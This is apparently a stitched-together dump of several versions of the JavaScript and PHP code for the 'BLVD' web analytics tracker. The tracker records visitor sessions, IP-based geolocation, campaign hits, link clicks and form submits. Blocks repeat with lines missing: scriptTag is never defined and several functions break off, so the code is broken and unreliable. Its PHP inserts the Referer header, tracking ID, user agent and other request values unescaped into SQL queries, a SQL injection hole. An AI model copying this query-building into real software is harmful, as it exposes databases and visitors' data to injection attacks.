/* * Returns the value of the named cookie, or null if no such cookie * exists. */ function readCookie(name) { var nameEQ = name + "="; var ca = document.cookie.split(';'); for(var i=0;i < ca.length;i++) { var c = ca[i]; while (c.charAt(0)==' ') c = c.substring(1,c.length); if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length); } return null; }
/* * Deletes the specified cookie. */ function eraseCookie(name) { createCookie(name,"",-1); }
/* * Utility function to test if another object is actually a function. */ function isFunction(object) { return (object && typeof(object) == 'function'); }
/* * The afterLoad function, which is responsible for triggering the * dynamic JavaScript pull. */ function afterLoad() { // We call all the existing onload functions _first_, // in the hope that if they modify the document we // will catch the changes. if (isFunction(chain_onload)) { chain_onload(); }
// Check and see if we have a BLVD session cookie, // if so, maintain that session value. If not, a session // value will be generated by the PHP script. var blvdSessionId = readCookie("blvdSessionId"); if (blvdSessionId == null) blvdSessionId = '';
var bodyNode = document.getElementsByTagName("body")[0]; bodyNode.appendChild(scriptTag); }
/* * Chain the BLVD afterLoad function into the OnLoad event handler. * We store the current OnLoad handler first so we can call it * from our own function. */
if (isFunction(window.addEventListener)) { window.addEventListener('load', afterLoad, false); } else if (isFunction(window.attachEvent)) { window.attachEvent('load', afterLoad); } else { var chain_onload = window.onload; window.onload = afterLoad; }
// Query the referrer URL (which in this case is the current page // on the client's site) and visitor's IP address if (isset($_SERVER['HTTP_REFERER'])) { $currentUrl = $_SERVER['HTTP_REFERER']; } else { $currentUrl = ''; }
// Find out if we are hitting an internal page if (strpos($currentUrl, 'blvdstatus.com') !== false) { $internalHit = true; } else { $internalHit = false; }
// If we have an internal hit, and internal tracking is not explicitly allowed // we bail out now if ($internalHit && !$allowInternalTracking) { die('//NIT'); }
// Get a version of the URL with no query string if (strpos($currentUrl, '?') !== false) { $currentUrlNoQuery = substr($currentUrl, 0, strpos($currentUrl, '?')); } else { $currentUrlNoQuery = $currentUrl; }
// If we have received a session id, maintain it, otherwise // generate a new one if (isset($in_blvdSessionId)) { $sessionId = $in_blvdSessionId; } else { $sessionId = ''; }
echo "//Sess set.\n";
// Convert the domain name into a domain ID // (If this fails, the domain ID will remain set to 0) $domainId = 0;
// If we had a tracking ID, this is just a lookup, otherwise // we actually translate the domain name into an ID as best we can if ($trackingId == '') { echo "//DLU\n"; $domainIdResults = $dbConnection->query( "SELECT ConvertDomainNameToDomainID(DomainNameFromURL('$currentUrl')) AS `ID`" ); } else { echo "//DFT\n"; $domainIdResults = $dbConnection->query( "SELECT `ID` FROM `domains` WHERE `TrackingID` = '$trackingId'" ); }
// Tread carefully here, so errors don't break tracking! if ($dbConnection->errno == 0) { $domainIdData = $domainIdResults->fetch_object(); if ($domainIdData) { $domainId = (int)$domainIdData->ID; } }
// We're done if the domain isn't found. if ($domainId == 0) { die("//DNR\n"); }
// If this is a new session, generate a unique ID for it, and store it in // the database if ($sessionId == '') { $sessionId = uniqid("", true);
// Query GeoIP data for the user's IP Address $geoRecord = geoip_record_by_name($ip);
// Bind the session ID to the user's IP address $dbConnection->query( <<<EOQ INSERT INTO `sessions_$domainId`( SessionID, IPAddress, SessionStartTime, ReferringURL, ScreenWidth, ScreenHeight, ScreenDepth, UserAgent, GeoIPCountryCode, GeoIPRegion, GeoIPCity, GeoIPPostalCode, GeoIPLatitude, GeoIPLongitude, GeoIPDMACode, GeoIPAreaCode, GeoIPISP ) VALUES( '$sessionId', '$ip', UNIX_TIMESTAMP(), '$in_referrer', '$in_screenWidth', '$in_screenHeight', '$in_screenDepth', '$userAgent', '$geoData->CountryCode', '$geoData->Region', '$geoData->City', '$geoData->PostalCode', '$geoData->Latitude', '$geoData->Longitude', '$geoData->DMACode', '$geoData->AreaCode', '$geoData->ISP' ) EOQ );
echo "//Sess: " . $dbConnection->error . "\n";
// If necessary, store the user agent information in the 'user_agent_data' // table. $ua = get_browser($userAgent); $browserName = $dbConnection->escape_string($ua->browser); $browserVersion = $dbConnection->escape_string($ua->version); $platform = $dbConnection->escape_string($ua->platform);
// ********************************* // Process campaigns for this domain // *********************************
$matchedCampaigns = array();
echo "//D: $domainId\n";
// Retrieve all of the campaigns if ($domainId > 0) { $campaignResults = $dbConnection->query( "SELECT * FROM `campaigns_$domainId` WHERE `Active` = 1" );
// Get all the triggers for the campaign $triggerResults = $dbConnection->query( "SELECT * FROM `campaign_triggers_$domainId` WHERE `Active` = '1' AND `CampaignID` = '$campaignId'" );
// Check if the parameter to check exists and then // check if it is equal to the defined value if (isset($parameters[$trigger->ParameterToCheck])) { if ($parameters[$trigger->ParameterToCheck] == $trigger->ValueToCheck) { $matched = true; } }
// If we matched, add the campaign ID to the campaign list if ($matched) { //echo "//Matched\n"; $matchedCampaigns[] = $campaignId; } } else if ($trigger->IdentifierType == 'URL') { // Are we checking the current or referring URL? If not, this // campaign will need to be handled by the "leave.php" script! if ($trigger->TriggerType == 'CurrentPage') { $urlToCheck = $currentUrl; $urlToCheckNoQuery = $currentUrlNoQuery; } else if ($trigger->TriggerType == 'CameFrom') { $urlToCheck = $in_referrer; $urlToCheckNoQuery = $in_referrerNoQuery; } else { continue; }
// [CB] Modified on 8/22/2008 to handle "partial matches" // and to ensure case-insensitivity if ($trigger->IgnoreQueryString == '1') { $urlToCheck = strtolower($urlToCheckNoQuery); } else { $urlToCheck = strtolower($urlToCheck); }
if ((int)($trigger->PartialMatch) == '1') { if (stristr($urlToCheck, $trigger->URL) !== false) { $matchedCampaigns[] = $campaignId; } } else { if ($urlToCheck == strtolower($trigger->URL)) { $matchedCampaigns[] = $campaignId; } }
// XXXX: This is not the correct way to handle this -- need to add multiple // campaign support to the database! if ($in_blvdC == 0 && count($matchedCampaigns) > 0) { $in_blvdC = $matchedCampaigns[0]; } echo "//BLVDC: $in_blvdC\n\n";
// Look for the previous hit for this session $lastNavigationResults = $dbConnection->query( <<<EOQ SELECT * FROM `navigation_$domainId` n WHERE n.`SessionID` = '$sessionId' ORDER BY n.`ID` DESC LIMIT 1 EOQ );
$lastNavigationItem = $lastNavigationResults->fetch_object(); if ($lastNavigationItem) { if ((int)$lastNavigationItem->DepartureTime == 0) { // Use the arrival time for this page as the departure time for the // previous navigation item (this is not exact, but it is a good // guess). $dbConnection->query( "UPDATE `navigation_$domainId` " . "SET `DepartureTime` = UNIX_TIMESTAMP() " . "WHERE `ID` = '$lastNavigationItem->ID'" ); echo "//LNI + DT: " . $dbConnection->error . " \n"; } }
// Store this page hit $safeTitle = $dbConnection->escape_string($in_title); $safeCurrentUrl = $dbConnection->escape_string($currentUrl); $safeReferrer = $dbConnection->escape_string($in_referrer);
// Get the ID of the newly generated navigation row $navigationId = $dbConnection->insert_id; //echo "//NID: $navigationId\n";
// Store campaign information for the session, if applicable if ($in_blvdC > 0) { $dbConnection->query( <<<EOQ INSERT INTO sessions_campaigns_$domainId(SessionID, NavigationID, CampaignID, TimeOfConversion) VALUES('$sessionId', '$navigationId', '$in_blvdC', UNIX_TIMESTAMP()) EOQ ); }
// Process search engine information findSearchEngineData($dbConnection, $in_referrer, $navigationId, $domainId);
// Tracking flags are blank for this script right now $trackingFlags = 0;
// Determine if internal tracking is allowed if (isset($in_ait) && $in_ait == 'true') { $allowInternalTracking = true; } else { $allowInternalTracking = false; }
// Query the referrer URL (which in this case is the current page // on the client's site) and visitor's IP address if (isset($_SERVER['HTTP_REFERER'])) { $currentUrl = $_SERVER['HTTP_REFERER']; } else { $currentUrl = ''; }
// Find out if we are hitting an internal page if (strpos($currentUrl, 'blvdstatus.com') !== false) { $internalHit = true; } else { $internalHit = false; }
// If we have an internal hit, and internal tracking is not explicitly allowed // we bail out now if ($internalHit && !$allowInternalTracking) { die('//NIT'); }
// Get a version of the URL with no query string if (strpos($currentUrl, '?') !== false) { $currentUrlNoQuery = substr($currentUrl, 0, strpos($currentUrl, '?')); } else { $currentUrlNoQuery = $currentUrl; }
// If we have received a session id, maintain it, otherwise // generate a new one if (isset($in_blvdSessionId)) { $sessionId = $in_blvdSessionId; } else { $sessionId = ''; }
echo "//Sess set.\n";
// Convert the domain name into a domain ID // (If this fails, the domain ID will remain set to 0) $domainId = 0;
$domainIdResults = $dbConnection->query( "SELECT ConvertDomainNameToDomainID(DomainNameFromURL('$currentUrl')) AS `ID`" );
// Tread carefully here, so errors don't break tracking! if ($dbConnection->errno == 0) { $domainIdData = $domainIdResults->fetch_object(); if ($domainIdData) { $domainId = (int)$domainIdData->ID; } }
// We're done if the domain isn't found. if ($domainId == 0) { die("//DNR\n"); }
// If this is a new session, generate a unique ID for it, and store it in // the database if ($sessionId == '') { $sessionId = uniqid("", true);
// Query GeoIP data for the user's IP Address $geoRecord = geoip_record_by_name($ip);
// Bind the session ID to the user's IP address $dbConnection->query( <<<EOQ INSERT INTO `sessions`( SessionID, IPAddress, SessionStartTime, ReferringURL, DomainID, ScreenWidth, ScreenHeight, ScreenDepth, UserAgent, GeoIPCountryCode, GeoIPRegion, GeoIPCity, GeoIPPostalCode, GeoIPLatitude, GeoIPLongitude, GeoIPDMACode, GeoIPAreaCode, GeoIPISP ) VALUES( '$sessionId', '$ip', UNIX_TIMESTAMP(), '$in_referrer', '$domainId', '$in_screenWidth', '$in_screenHeight', '$in_screenDepth', '$userAgent', '$geoData->CountryCode', '$geoData->Region', '$geoData->City', '$geoData->PostalCode', '$geoData->Latitude', '$geoData->Longitude', '$geoData->DMACode', '$geoData->AreaCode', '$geoData->ISP' ) EOQ );
echo "//Sess: " . $dbConnection->error . "\n";
// If necessary, store the user agent information in the 'user_agent_data' // table. $ua = get_browser($userAgent); $browserName = $dbConnection->escape_string($ua->browser); $browserVersion = $dbConnection->escape_string($ua->version); $platform = $dbConnection->escape_string($ua->platform);
// ********************************* // Process campaigns for this domain // *********************************
$matchedCampaigns = array();
echo "//D: $domainId\n";
// Retrieve all of the campaigns if ($domainId > 0) { $campaignResults = $dbConnection->query( "SELECT * FROM `campaigns` WHERE `Active` = 1 AND `DomainID` = '$domainId'" );
// Get all the triggers for the campaign $triggerResults = $dbConnection->query( "SELECT * FROM `campaign_triggers` WHERE `Active` = '1' AND `CampaignID` = '$campaignId'" );
// Check if the parameter to check exists and then // check if it is equal to the defined value if (isset($parameters[$trigger->ParameterToCheck])) { if ($parameters[$trigger->ParameterToCheck] == $trigger->ValueToCheck) { $matched = true; } }
// If we matched, add the campaign ID to the campaign list if ($matched) { //echo "//Matched\n"; $matchedCampaigns[] = $campaignId; } } else if ($trigger->IdentifierType == 'URL') { // Are we checking the current or referring URL? If not, this // campaign will need to be handled by the "leave.php" script! if ($trigger->TriggerType == 'CurrentPage') { $urlToCheck = $currentUrl; $urlToCheckNoQuery = $currentUrlNoQuery; } else if ($trigger->TriggerType == 'CameFrom') { $urlToCheck = $in_referrer; $urlToCheckNoQuery = $in_referrerNoQuery; } else { continue; }
// [CB] Modified on 8/22/2008 to handle "partial matches" // and to ensure case-insensitivity if ($trigger->IgnoreQueryString == '1') { $urlToCheck = strtolower($urlToCheckNoQuery); } else { $urlToCheck = strtolower($urlToCheck); }
if ((int)($trigger->PartialMatch) == '1') { if (stristr($urlToCheck, $trigger->URL) !== false) { $matchedCampaigns[] = $campaignId; } } else { if ($urlToCheck == strtolower($trigger->URL)) { $matchedCampaigns[] = $campaignId; } }
// XXXX: This is not the correct way to handle this -- need to add multiple // campaign support to the database! if ($in_blvdC == 0 && count($matchedCampaigns) > 0) { $in_blvdC = $matchedCampaigns[0]; } echo "//BLVDC: $in_blvdC\n\n";
// Look for the previous hit for this session $lastNavigationResults = $dbConnection->query( <<<EOQ SELECT * FROM `navigation` n WHERE n.`SessionID` = '$sessionId' ORDER BY n.`ID` DESC LIMIT 1 EOQ );
$lastNavigationItem = $lastNavigationResults->fetch_object(); if ($lastNavigationItem) { if ((int)$lastNavigationItem->DepartureTime == 0) { // Use the arrival time for this page as the departure time for the // previous navigation item (this is not exact, but it is a good // guess). $dbConnection->query( "UPDATE `navigation` " . "SET `DepartureTime` = UNIX_TIMESTAMP() " . "WHERE `ID` = '$lastNavigationItem->ID'" ); echo "//LNI + DT: " . $dbConnection->error . " \n"; } }
// Store this page hit $safeTitle = $dbConnection->escape_string($in_title); $safeCurrentUrl = $dbConnection->escape_string($currentUrl); $safeReferrer = $dbConnection->escape_string($in_referrer);
// Get the ID of the newly generated navigation row $navigationId = $dbConnection->insert_id; //echo "//NID: $navigationId\n";
// Store campaign information for the session, if applicable if ($in_blvdC > 0) { $dbConnection->query( <<<EOQ INSERT INTO session_campaigns(SessionID, NavigationID, CampaignID, TimeOfConversion) VALUES('$sessionId', '$navigationId', '$in_blvdC', UNIX_TIMESTAMP()) EOQ ); }
// Process search engine information findSearchEngineData($dbConnection, $in_referrer, $navigationId);
// Tracking flags are blank for this script right now $trackingFlags = 0;
// Query the referrer URL (which in this case is the current page // on the client's site) and visitor's IP address if (isset($_SERVER['HTTP_REFERER'])) { $currentUrl = $_SERVER['HTTP_REFERER']; } else { $currentUrl = ''; }
// Find out if we are hitting an internal page if (strpos($currentUrl, 'blvdstatus.com') !== false) { $internalHit = true; } else { $internalHit = false; }
// If we have an internal hit, and internal tracking is not explicitly allowed // we bail out now if ($internalHit && !$allowInternalTracking) { die('//NIT'); }
// Get a version of the URL with no query string if (strpos($currentUrl, '?') !== false) { $currentUrlNoQuery = substr($currentUrl, 0, strpos($currentUrl, '?')); } else { $currentUrlNoQuery = $currentUrl; }
// If we have received a session id, maintain it, otherwise // generate a new one if (isset($in_blvdSessionId)) { $sessionId = $in_blvdSessionId; } else { $sessionId = ''; }
echo "//Sess set.\n";
// Convert the domain name into a domain ID // (If this fails, the domain ID will remain set to 0) $domainId = 0;
// If we had a tracking ID, this is just a lookup, otherwise // we actually translate the domain name into an ID as best we can if ($trackingId == '') { echo "//DLU\n"; $domainIdResults = $dbConnection->query( "SELECT ConvertDomainNameToDomainID(DomainNameFromURL('$currentUrl')) AS `ID`" ); } else { echo "//DFT\n"; $domainIdResults = $dbConnection->query( "SELECT `ID` FROM `domains` WHERE `TrackingID` = '$trackingId'" ); }
// Tread carefully here, so errors don't break tracking! if ($dbConnection->errno == 0) { $domainIdData = $domainIdResults->fetch_object(); if ($domainIdData) { $domainId = (int)$domainIdData->ID; } }
// We're done if the domain isn't found. if ($domainId == 0) { die("//DNR\n"); }
// If this is a new session, generate a unique ID for it, and store it in // the database if ($sessionId == '') { $sessionId = uniqid("", true);
// Query GeoIP data for the user's IP Address $geoRecord = geoip_record_by_name($ip);
// Bind the session ID to the user's IP address $dbConnection->query( <<<EOQ INSERT INTO `sessions_$domainId`( SessionID, IPAddress, SessionStartTime, ReferringURL, ScreenWidth, ScreenHeight, ScreenDepth, UserAgent, GeoIPCountryCode, GeoIPRegion, GeoIPCity, GeoIPPostalCode, GeoIPLatitude, GeoIPLongitude, GeoIPDMACode, GeoIPAreaCode, GeoIPISP, BrowserName, BrowserVersion, Platform ) VALUES( '$sessionId', '$ip', UNIX_TIMESTAMP(), '$in_referrer', '$in_screenWidth', '$in_screenHeight', '$in_screenDepth', '$userAgent', '$geoData->CountryCode', '$geoData->Region', '$geoData->City', '$geoData->PostalCode', '$geoData->Latitude', '$geoData->Longitude', '$geoData->DMACode', '$geoData->AreaCode', '$geoData->ISP', '$browserName', '$browserVersion', '$platform' ) EOQ );
echo "//Sess: " . $dbConnection->error . "\n";
// If necessary, store the user agent information in the 'user_agent_data' // table. $dbConnection->query( <<<EOQ INSERT IGNORE INTO `user_agent_data`( `UA`, `BrowserName`, `BrowserVersion`, `Platform` ) VALUES( '$userAgent', '$browserName', '$browserVersion', '$platform' ) EOQ );
echo "//UA: " . $dbConnection->error . "\n"; }
// ********************************* // Process campaigns for this domain // *********************************
$matchedCampaigns = array();
echo "//D: $domainId\n";
// Retrieve all of the campaigns if ($domainId > 0) { $campaignResults = $dbConnection->query( "SELECT * FROM `campaigns_$domainId` WHERE `Active` = 1" );
// Get all the triggers for the campaign $triggerResults = $dbConnection->query( "SELECT * FROM `campaign_triggers_$domainId` WHERE `Active` = '1' AND `CampaignID` = '$campaignId'" );
// Check if the parameter to check exists and then // check if it is equal to the defined value if (isset($parameters[$trigger->ParameterToCheck])) { if ($parameters[$trigger->ParameterToCheck] == $trigger->ValueToCheck) { $matched = true; } }
// If we matched, add the campaign ID to the campaign list if ($matched) { //echo "//Matched\n"; $matchedCampaigns[] = $campaignId; } } else if ($trigger->IdentifierType == 'URL') { // Are we checking the current or referring URL? If not, this // campaign will need to be handled by the "leave.php" script! if ($trigger->TriggerType == 'CurrentPage') { $urlToCheck = $currentUrl; $urlToCheckNoQuery = $currentUrlNoQuery; } else if ($trigger->TriggerType == 'CameFrom') { $urlToCheck = $in_referrer; $urlToCheckNoQuery = $in_referrerNoQuery; } else { continue; }
// [CB] Modified on 8/22/2008 to handle "partial matches" // and to ensure case-insensitivity if ($trigger->IgnoreQueryString == '1') { $urlToCheck = strtolower($urlToCheckNoQuery); } else { $urlToCheck = strtolower($urlToCheck); }
if ((int)($trigger->PartialMatch) == '1') { if (stristr($urlToCheck, $trigger->URL) !== false) { $matchedCampaigns[] = $campaignId; } } else { if ($urlToCheck == strtolower($trigger->URL)) { $matchedCampaigns[] = $campaignId; } }
// XXXX: This is not the correct way to handle this -- need to add multiple // campaign support to the database! if ($in_blvdC == 0 && count($matchedCampaigns) > 0) { $in_blvdC = $matchedCampaigns[0]; } echo "//BLVDC: $in_blvdC\n\n";
// Look for the previous hit for this session $lastNavigationResults = $dbConnection->query( <<<EOQ SELECT * FROM `navigation_$domainId` n WHERE n.`SessionID` = '$sessionId' ORDER BY n.`ID` DESC LIMIT 1 EOQ );
$lastNavigationItem = $lastNavigationResults->fetch_object(); if ($lastNavigationItem) { if ((int)$lastNavigationItem->DepartureTime == 0) { // Use the arrival time for this page as the departure time for the // previous navigation item (this is not exact, but it is a good // guess). $dbConnection->query( "UPDATE `navigation_$domainId` " . "SET `DepartureTime` = UNIX_TIMESTAMP() " . "WHERE `ID` = '$lastNavigationItem->ID'" ); echo "//LNI + DT: " . $dbConnection->error . " \n"; } }
// Store this page hit $safeTitle = $dbConnection->escape_string($in_title); $safeCurrentUrl = $dbConnection->escape_string($currentUrl); $safeReferrer = $dbConnection->escape_string($in_referrer);
// Get the ID of the newly generated navigation row $navigationId = $dbConnection->insert_id; //echo "//NID: $navigationId\n";
// Store campaign information for the session, if applicable if ($in_blvdC > 0) { $dbConnection->query( <<<EOQ INSERT INTO sessions_campaigns_$domainId(SessionID, NavigationID, CampaignID, TimeOfConversion) VALUES('$sessionId', '$navigationId', '$in_blvdC', UNIX_TIMESTAMP()) EOQ ); }
// Process search engine information findSearchEngineData($dbConnection, $in_referrer, $navigationId, $domainId);
// Tracking flags are blank for this script right now $trackingFlags = 0;
/* * Digg friendly URLEncode function -- taken from: * http://cass-hacks.com/articles/code/js_url_encode_decode/ * [CB] Modified to use %20 instead of + for spaces */ function URLEncode (clearString) { var output = ''; var x = 0; clearString = clearString.toString(); var regex = /(^[a-zA-Z0-9_.]*)/; while (x < clearString.length) { var match = regex.exec(clearString.substr(x)); if (match != null && match.length > 1 && match[1] != '') { output += match[1]; x += match[1].length; } else { if (clearString[x] == ' ') output += '%20'; else { var charCode = clearString.charCodeAt(x); var hexVal = charCode.toString(16); output += '%' + ( hexVal.length < 2 ? '0' : '' ) + hexVal.toUpperCase(); } x++; } }
return output; }
/* * Cookie functions -- taken from: * http://www.quirksmode.org/js/cookies.html */ function createCookie(name,value,days) { if (days) { var date = new Date(); date.setTime(date.getTime()+(days*24*60*60*1000)); var expires = "; expires="+date.toGMTString(); } else var expires = ""; document.cookie = name+"="+value+expires+"; path=/"; }
/* * Cookie functions -- modified from: * http://www.quirksmode.org/js/cookies.html */ function createShortTermCookie(name,value,minutes) { if (minutes) { var date = new Date(); date.setTime(date.getTime()+(minutes*60*1000)); var expires = "; expires="+date.toGMTString(); } else var expires = ""; document.cookie = name+"="+value+expires+"; path=/"; }
/* * Returns the value of the named cookie, or null if no such cookie * exists. */ function readCookie(name) { var nameEQ = name + "="; var ca = document.cookie.split(';'); for(var i=0;i < ca.length;i++) { var c = ca[i]; while (c.charAt(0)==' ') c = c.substring(1,c.length); if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length); } return null; }
/* * Deletes the specified cookie. */ function eraseCookie(name) { createCookie(name,"",-1); }
/* * Utility function to test if another object is actually a function. */ function isFunction(object) { return (object && typeof(object) == 'function'); }
/* * The afterLoad function, which is responsible for triggering the * dynamic JavaScript pull. */ function afterLoad() { // We call all the existing onload functions _first_, // in the hope that if they modify the document we // will catch the changes. if (isFunction(chain_onload)) { chain_onload(); }
// Check and see if we have a BLVD session cookie, // if so, maintain that session value. If not, a session // value will be generated by the PHP script. var blvdSessionId = readCookie("blvdSessionId"); if (blvdSessionId == null) blvdSessionId = '';
var bodyNode = document.getElementsByTagName("body")[0]; bodyNode.appendChild(scriptTag); }
/* * Chain the BLVD afterLoad function into the OnLoad event handler. * We store the current OnLoad handler first so we can call it * from our own function. */
if (isFunction(window.addEventListener)) { window.addEventListener('load', afterLoad, false); } else if (isFunction(window.attachEvent)) { window.attachEvent('load', afterLoad); } else { var chain_onload = window.onload; window.onload = afterLoad; }
/* * Digg friendly URLEncode function -- taken from: * http://cass-hacks.com/articles/code/js_url_encode_decode/ * [CB] Modified to use %20 instead of + for spaces * [CB] Replaced by webtoolkit's URL encoder */ function URLEncode (clearString) { /* var output = ''; var x = 0; clearString = clearString.toString(); var regex = /(^[a-zA-Z0-9_.]*)/; while (x < clearString.length) { var match = regex.exec(clearString.substr(x)); if (match != null && match.length > 1 && match[1] != '') { output += match[1]; x += match[1].length; } else { if (clearString[x] == ' ') output += '%20'; else { var charCode = clearString.charCodeAt(x); var hexVal = charCode.toString(16); output += '%' + ( hexVal.length < 2 ? '0' : '' ) + hexVal.toUpperCase(); } x++; } }
return output; */
return Url.encode(clearString); }
/* * Cookie functions -- taken from: * http://www.quirksmode.org/js/cookies.html */ function createCookie(name,value,days) { if (days) { var date = new Date(); date.setTime(date.getTime()+(days*24*60*60*1000)); var expires = "; expires="+date.toGMTString(); } else var expires = ""; document.cookie = name+"="+value+expires+"; path=/"; }
/* * Cookie functions -- modified from: * http://www.quirksmode.org/js/cookies.html */ function createShortTermCookie(name,value,minutes) { if (minutes) { var date = new Date(); date.setTime(date.getTime()+(minutes*60*1000)); var expires = "; expires="+date.toGMTString(); } else var expires = ""; document.cookie = name+"="+value+expires+"; path=/"; }
/* * Returns the value of the named cookie, or null if no such cookie * exists. */ function readCookie(name) { var nameEQ = name + "="; var ca = document.cookie.split(';'); for(var i=0;i < ca.length;i++) { var c = ca[i]; while (c.charAt(0)==' ') c = c.substring(1,c.length); if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length); } return null; }
/* * Deletes the specified cookie. */ function eraseCookie(name) { createCookie(name,"",-1); }
/* * Utility function to test if another object is actually a function. */ function isFunction(object) { return (object && typeof(object) == 'function'); }
/* * The afterLoad function, which is responsible for triggering the * dynamic JavaScript pull. */ function afterLoad() { // We call all the existing onload functions _first_, // in the hope that if they modify the document we // will catch the changes. if (isFunction(chain_onload)) { chain_onload(); }
// Check and see if we have a BLVD session cookie, // if so, maintain that session value. If not, a session // value will be generated by the PHP script. var blvdSessionId = readCookie("blvdSessionId"); if (blvdSessionId == null) blvdSessionId = '';
var bodyNode = document.getElementsByTagName("body")[0]; bodyNode.appendChild(scriptTag); }
/* * Chain the BLVD afterLoad function into the OnLoad event handler. * We store the current OnLoad handler first so we can call it * from our own function. */
if (isFunction(window.addEventListener)) { window.addEventListener('load', afterLoad, false); } else if (isFunction(window.attachEvent)) { window.attachEvent('load', afterLoad); } else { var chain_onload = window.onload; window.onload = afterLoad; }
/* * Digg friendly URLEncode function -- taken from: * http://cass-hacks.com/articles/code/js_url_encode_decode/ * [CB] Modified to use %20 instead of + for spaces * [CB] Replaced by webtoolkit's URL encoder */ function URLEncode (clearString) { return Url.encode(clearString); }
/* * Cookie functions -- taken from: * http://www.quirksmode.org/js/cookies.html */ function createCookie(name,value,days) { if (days) { var date = new Date(); date.setTime(date.getTime()+(days*24*60*60*1000)); var expires = "; expires="+date.toGMTString(); } else var expires = ""; document.cookie = name+"="+value+expires+"; path=/"; }
/* * Cookie functions -- modified from: * http://www.quirksmode.org/js/cookies.html */ function createShortTermCookie(name,value,minutes) { if (minutes) { var date = new Date(); date.setTime(date.getTime()+(minutes*60*1000)); var expires = "; expires="+date.toGMTString(); } else var expires = ""; document.cookie = name+"="+value+expires+"; path=/"; }
/* * Returns the value of the named cookie, or null if no such cookie * exists. */ function readCookie(name) { var nameEQ = name + "="; var ca = document.cookie.split(';'); for(var i=0;i < ca.length;i++) { var c = ca[i]; while (c.charAt(0)==' ') c = c.substring(1,c.length); if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length); } return null; }
/* * Deletes the specified cookie. */ function eraseCookie(name) { createCookie(name,"",-1); }
/* * Utility function to test if another object is actually a function. */ function isFunction(object) { return (object && typeof(object) == 'function'); }
/* * The afterLoad function, which is responsible for triggering the * dynamic JavaScript pull. */ function afterLoad() { // We call all the existing onload functions _first_, // in the hope that if they modify the document we // will catch the changes. if (isFunction(chain_onload)) { chain_onload(); }
// Check and see if we have a BLVD session cookie, // if so, maintain that session value. If not, a session // value will be generated by the PHP script. var blvdSessionId = readCookie("blvdSessionId"); if (blvdSessionId == null) blvdSessionId = '';
var bodyNode = document.getElementsByTagName("body")[0]; bodyNode.appendChild(scriptTag); }
/* * Chain the BLVD afterLoad function into the OnLoad event handler. * We store the current OnLoad handler first so we can call it * from our own function. */
if (isFunction(window.addEventListener)) { window.addEventListener('load', afterLoad, false); } else if (isFunction(window.attachEvent)) { window.attachEvent('load', afterLoad); } else { var chain_onload = window.onload; window.onload = afterLoad; }
/* * Digg friendly URLEncode function -- taken from: * http://cass-hacks.com/articles/code/js_url_encode_decode/ * [CB] Modified to use %20 instead of + for spaces * [CB] Replaced by webtoolkit's URL encoder */ function URLEncode (clearString) { return Url.encode(clearString); }
/* * Cookie functions -- taken from: * http://www.quirksmode.org/js/cookies.html */ function createCookie(name,value,days) { if (days) { var date = new Date(); date.setTime(date.getTime()+(days*24*60*60*1000)); var expires = "; expires="+date.toGMTString(); } else var expires = ""; document.cookie = name+"="+value+expires+"; path=/"; }
/* * Cookie functions -- modified from: * http://www.quirksmode.org/js/cookies.html */ function createShortTermCookie(name,value,minutes) { if (minutes) { var date = new Date(); date.setTime(date.getTime()+(minutes*60*1000)); var expires = "; expires="+date.toGMTString(); } else var expires = ""; document.cookie = name+"="+value+expires+"; path=/"; }
/* * Returns the value of the named cookie, or null if no such cookie * exists. */ function readCookie(name) { var nameEQ = name + "="; var ca = document.cookie.split(';'); for(var i=0;i < ca.length;i++) { var c = ca[i]; while (c.charAt(0)==' ') c = c.substring(1,c.length); if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length); } return null; }
/* * Deletes the specified cookie. */ function eraseCookie(name) { createCookie(name,"",-1); }
/* * Utility function to test if another object is actually a function. */ function isFunction(object) { return (object && typeof(object) == 'function'); }
/* * The afterLoad function, which is responsible for triggering the * dynamic JavaScript pull. */ function afterLoad() { // We call all the existing onload functions _first_, // in the hope that if they modify the document we // will catch the changes. if (isFunction(chain_onload)) { chain_onload(); }
// Check and see if we have a BLVD session cookie, // if so, maintain that session value. If not, a session // value will be generated by the PHP script. var blvdSessionId = readCookie("blvdSessionId"); if (blvdSessionId == null) blvdSessionId = '';
var bodyNode = document.getElementsByTagName("body")[0]; bodyNode.appendChild(scriptTag); }
/* * Chain the BLVD afterLoad function into the OnLoad event handler. * We store the current OnLoad handler first so we can call it * from our own function. */
if (isFunction(window.addEventListener)) { window.addEventListener('load', afterLoad, false); } else if (isFunction(window.attachEvent)) { window.attachEvent('load', afterLoad); } else { var chain_onload = window.onload; window.onload = afterLoad; }
var currentSessionId = '<?php echo $sessionId; ?>'; var currentNavigationId = '<?php echo $navigationId; ?>'
/* * Utility function to test if another object is actually a function. */ function isFunction(object) { return (typeof(object) != 'undefined' && typeof(object) == 'function'); }
function isDefined(object) { return (typeof(object) != 'undefined'); }
/* * Digg friendly URLEncode function -- taken from: * http://cass-hacks.com/articles/code/js_url_encode_decode/ * [CB] Modified to use %20 instead of + for spaces */ function URLEncode (clearString) { var output = ''; var x = 0; clearString = clearString.toString(); var regex = /(^[a-zA-Z0-9_.]*)/; while (x < clearString.length) { var match = regex.exec(clearString.substr(x)); if (match != null && match.length > 1 && match[1] != '') { output += match[1]; x += match[1].length; } else { if (clearString[x] == ' ') output += '%20'; else { var charCode = clearString.charCodeAt(x); var hexVal = charCode.toString(16); output += '%' + ( hexVal.length < 2 ? '0' : '' ) + hexVal.toUpperCase(); } x++; } }
return output; }
function logOutgoingLink(node) { var i = new Image();
function chainOnClick(node) { if (isDefined(node.addEventListener)) { node.addEventListener( 'click', function() { logOutgoingLink(this); }, false ); } else if (isDefined(node.attachEvent)) { node.attachEvent( 'onclick', function() { logOutgoingLink(this); } ); } else { var currentOnClick;
currentOnClick = node.onclick;
node.onclick = function() { // Log the click logOutgoingLink(this);
// Execute any existing on click function if (isFunction(currentOnClick)) { return currentOnClick(); } } } }
function chainOnSubmit(node) { if (isDefined(node.addEventListener)) { node.addEventListener( 'submit', function() { logOutgoingForm(this); }, false ); } else if (isDefined(node.attachEvent)) { node.attachEvent( 'onsubmit', function() { logOutgoingForm(this); } ); } else { var currentOnSubmit;
currentOnSubmit = node.onsubmit;
node.onsubmit = function() { // Log the click logOutgoingForm(this);
// Execute any existing on click function if (isFunction(currentOnSubmit)) { return currentOnSubmit(); } } } }
function replaceLinks(baseDocument) { // Find every link: // - A tags var nodes = baseDocument.getElementsByTagName('a');
